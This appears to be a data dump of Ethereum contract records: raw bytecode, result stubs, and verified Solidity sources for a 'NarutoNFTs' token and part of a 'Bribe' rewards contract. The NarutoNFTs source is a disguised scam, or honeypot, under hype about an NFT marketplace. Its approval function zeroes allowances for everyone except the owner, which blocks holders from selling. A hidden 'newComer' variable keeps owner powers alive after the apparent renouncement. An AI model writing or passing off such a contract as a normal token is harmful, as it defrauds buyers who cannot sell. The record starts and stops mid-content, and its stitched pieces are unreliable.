ffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a63014f8a700281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4d4348410000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a7230582017f6b26d65ab6d3bf036bd9917b9c945fbbc768327defb0feb6865ebe4876eda0029
|
{"success": true, "error": null, "results": {}}
| 4,042 |
0x699360b1ba493d3fea8865abe0b85acaaf96b218
|
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/*
🔥NarutoNFTs🔥
DISCOVER Naruto NFTS - THE ANIME KILLER
NARUTO is a decentralized peer-to-peer digital currency that enables instant transactions to anyone anywhere in the world. also a new cryptocurrency born to follow the footsteps of AnimeCoin.It also has Anime Coin as its mascot because hey, who doesn’t love Anime?
- NFTs MARKETPLACE
“NARUTONFTS” which will be a peer-to-peer marketplace for crypto collectibles and non-fungible tokens. It will showcase the collection of NARUTO unique NFTs and also NFTs of other projects.
NARUTO IS LIMITED AND THE DEMAND IS ENDLESS
- Completely transparent
- Long-term development
- Community Support!
🖥Website : https://narutonfts.com/
📋 Twitter :https://twitter.com/NarutoNFTs_ERC
✉️ Telegram :https://t.me/NarutoNFTs
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract NarutoNFTs is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'NarutoNFTs ' ;
string private _symbol = 'NARUTONFTS ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201d5279011d3e03466fb4a1bc8ce82ea538935948c12da750e31628f7513f538764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,043 |
0x6D9aF42eFcfF566D694dBAc3142C1B9618dfe288
|
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
// Sources flattened with hardhat v2.8.4 https://hardhat.org
// File srcBuild/Bribe.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
library Math {
function max(uint a, uint b) internal pure returns (uint) {
return a >= b ? a : b;
}
function min(uint a, uint b) internal pure returns (uint) {
return a < b ? a : b;
}
}
interface erc20 {
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
}
interface ve {
function isApprovedOrOwner(address, uint) external view returns (bool);
function ownerOf(uint) external view returns (address);
}
interface IVoter {
function _ve() external view returns (address);
}
// Bribes pay out rewards for a given pool based on the votes that were received from the user (goes hand in hand with BaseV1Gauges.vote())
contract Bribe {
address public immutable factory; // only factory can modify balances (since it only happens on vote())
address public immutable _ve;
uint public constant DURATION = 7 days; // rewards are released over 7 days
uint public constant PRECISION = 10 ** 18;
// default snx staking contract implementation
mapping(address => uint) public rewardRate;
mapping(address => uint) public periodFinish;
mapping(address => uint) public lastUpdateTime;
mapping(address => uint) public rewardPerTokenStored;
mapping(address => mapping(uint => uint)) public lastEarn;
mapping(address => mapping(uint => uint)) public userRewardPerTokenStored;
address[] public rewards;
mapping(address => bool) public isReward;
uint public totalSupply;
mapping(uint => uint) public balanceOf;
/// @notice A checkpoint for marking balance
struct Checkpoint {
uint timestamp;
uint balanceOf;
}
/// @notice A checkpoint for marking reward rate
struct RewardPerTokenCheckpoint {
uint timestamp;
uint rewardPerToken;
}
/// @notice A checkpoint for marking supply
struct SupplyCheckpoint {
uint timestamp;
uint supply;
}
/// @notice A record of balance checkpoints for each account, by index
mapping (uint => mapping (uint => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (uint => uint) public numCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (uint => SupplyCheckpoint) public supplyCheckpoints;
/// @notice The number of checkpoints
uint public supplyNumCheckpoints;
/// @notice A record of balance checkpoints for each token, by index
mapping (address => mapping (uint => RewardPerTokenCheckpoint)) public rewardPerTokenCheckpoints;
/// @notice The number of checkpoints for each token
mapping (address => uint) public rewardPerTokenNumCheckpoints;
event Deposit(address indexed from, uint tokenId, uint amount);
event Withdraw(address indexed from, uint tokenId, uint amount);
event NotifyReward(address indexed from, address indexed reward, uint amount);
event ClaimRewards(address indexed from, address indexed reward, uint amount);
constructor(address _factory) {
factory = _factory;
_ve = IVoter(_factory)._ve();
}
// simple re-entrancy check
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1);
_unlocked = 2;
_;
_unlocked = 1;
}
/**
* @notice Determine the prior balance for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param tokenId The token of the NFT to check
* @param timestamp The timestamp to get the balance at
* @return The balance the account had as of the given block
*/
function getPriorBalanceIndex(uint tokenId, uint timestamp) public view returns (uint) {
uint nCheckpoints = numCheckpoints[tokenId];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[tokenId][nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (checkpoints[tokenId][0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[tokenId][center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorSupplyIndex(uint timestamp) public view returns (uint) {
uint nCheckpoints = supplyNumCheckpoints;
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (supplyCheckpoints[nCheckpoints - 1].timestamp <= timestamp) {
return (nCheckpoints - 1);
}
// Next check implicit zero balance
if (supplyCheckpoints[0].timestamp > timestamp) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
SupplyCheckpoint memory cp = supplyCheckpoints[center];
if (cp.timestamp == timestamp) {
return center;
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return lower;
}
function getPriorRewardPerToken(address token, uint timestamp) public view returns (uint, uint) {
uint nCheckpoints = rewardPerTokenNumCheckpoints[token];
if (nCheckpoints == 0) {
return (0,0);
}
// First check most recent balance
if (rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp <= timestamp) {
return (rewardPerTokenCheckpoints[token][nCheckpoints - 1].rewardPerToken, rewardPerTokenCheckpoints[token][nCheckpoints - 1].timestamp);
}
// Next check implicit zero balance
if (rewardPerTokenCheckpoints[token][0].timestamp > timestamp) {
return (0,0);
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2; // ceil, avoiding overflow
RewardPerTokenCheckpoint memory cp = rewardPerTokenCheckpoints[token][center];
if (cp.timestamp == timestamp) {
return (cp.rewardPerToken, cp.timestamp);
} else if (cp.timestamp < timestamp) {
lower = center;
} else {
upper = center - 1;
}
}
return (rewardPerTokenCheckpoints[token][lower].rewardPerToken, rewardPerTokenCheckpoints[token][lower].timestamp);
}
function _writeCheckpoint(uint tokenId, uint balance) internal {
uint _timestamp = block.timestamp;
uint _nCheckPoints = numCheckpoints[tokenId];
if (_nCheckPoints > 0 && checkpoints[tokenId][_nCheckPoints - 1].timestamp == _timestamp) {
checkpoints[tokenId][_nCheckPoints - 1].balanceOf = balance;
} else {
checkpoints[tokenId][_nCheckPoints] = Checkpoint(_timestamp, balance);
numCheckpoints[tokenId] = _nCheckPoints + 1;
}
}
function _writeRewardPerTokenCheckpoint(address token, uint reward, uint timestamp) internal {
uint _nCheckPoints = rewardPerTokenNumCheckpoints[token];
if (_nCheckPoints > 0 && rewardPerTokenCheckpoints[token][_nCheckPoints - 1].timestamp == timestamp) {
rewardPerTokenCheckpoints[token][_nCheckPoints - 1].rewardPerToken = reward;
} else {
rewardPerTokenCheckpoints[token][_nCheckPoints] = RewardPerTokenCheckpoint(timestamp, reward);
rewardPerTokenNumCheckpoints[token] = _nCheckPoints + 1;
}
}
function _writeSupplyCheckpoint() internal {
uint _nCheckPoints = supplyNumCheckpoints;
uint _timestamp = block.timestamp;
if (_nCheckPoints > 0 && supplyCheckpoints[_nCheckPoints - 1].timestamp == _timestamp) {
supplyCheckpoints[_nCheckPoints - 1].supply = totalSupply;
} else {
supplyCheckpoints[_nCheckPoints] = SupplyCheckpoint(_timestamp, totalSupply);
supplyNumCheckpoints = _nCheckPoints + 1;
}
}
function rewardsListLength() external view returns (uint) {
return rewards.length;
}
// returns the last time the reward was modified or periodFinish if the reward has ended
function lastTimeRewardApplicable(address token) public view returns (uint) {
return Math.min(block.timestamp, periodFinish[token]);
}
// allows a user to claim rewards for a given token
function getReward(uint tokenId, address[] memory tokens) external lock {
require(ve(_ve).isApprovedOrOwner(msg.sender, tokenId));
for (uint i = 0; i < tokens.length; i++) {
(rewardPerTokenStored[tokens[i]], lastUpdateTime[tokens[i]]) = _updateRewardPerToken(tokens[i]);
uint _reward = earned(tokens[i], tokenId);
lastEarn[tokens[i]][tokenId] = block.timestamp;
userRewardPerTokenStored[tokens[i]][tokenId] = rewardPerTokenStored[tokens[i]];
if (_reward > 0) _safeTransfer(tokens[i], msg.sender, _reward);
emit ClaimRewards(msg.sender, tokens[i], _reward);
}
}
// used by BaseV1Voter to allow batched reward claims
